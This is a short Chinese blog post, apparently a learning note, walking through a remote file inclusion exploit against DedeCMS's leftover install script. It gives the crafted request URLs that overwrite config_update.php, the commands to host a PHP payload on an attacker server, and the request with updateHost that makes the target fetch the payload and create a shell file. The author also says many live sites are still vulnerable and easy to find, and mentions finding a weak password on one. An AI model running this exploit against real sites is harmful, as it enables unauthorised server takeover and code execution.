今天学习了exploit-db上面的一个漏洞,是织梦CMS最新版本的RFI(远程文件包含)。

织梦CMS最新版本的安装文件中仍然采用覆盖变量的方式更新系统,并且存在一些关键变量存储更新系统的路径信息,因此可以通过覆盖变量的方式来获取shell。

大致可以分为三步:


1.清空/data/config_update.php中的信息。

http://127.0.0.1/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=../data/admin/config_update.php

2.自己开一台服务器,假设是192.168.3.162,在服务器中写一个简单的脚本(但是不能保存成php类型)。

$ifconfig en0
$mkdir "dedecms"
$cd dedecms
$echo "<?php phpinfo();?>" > demodata.a.txt
$python -m SimpleHTTPServer


3.获取shell。

http://127.0.0.1/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=hello.php
&updateHost=http://192.168.3.162:8000/


接下来可以验证一下,访问hello.php就好。

http://127.0.0.1/install/hello.php




漏洞原理不难,但是想发现还是不容易的。而且这个漏洞仅限于一般用户(因为install属于安装后可以删除的文件夹),但是在实际找的时候还是发现很多网站没有删除。

还没有找真正的网站去试,不过却偶然发现了一个弱口令,希望能获得一枚乌云账号吧~

---------------------------

更新:这个漏洞还是很好找网站的~随便那么一找就找到啦

更多推荐

Web渗透学习-织梦CMS-RFI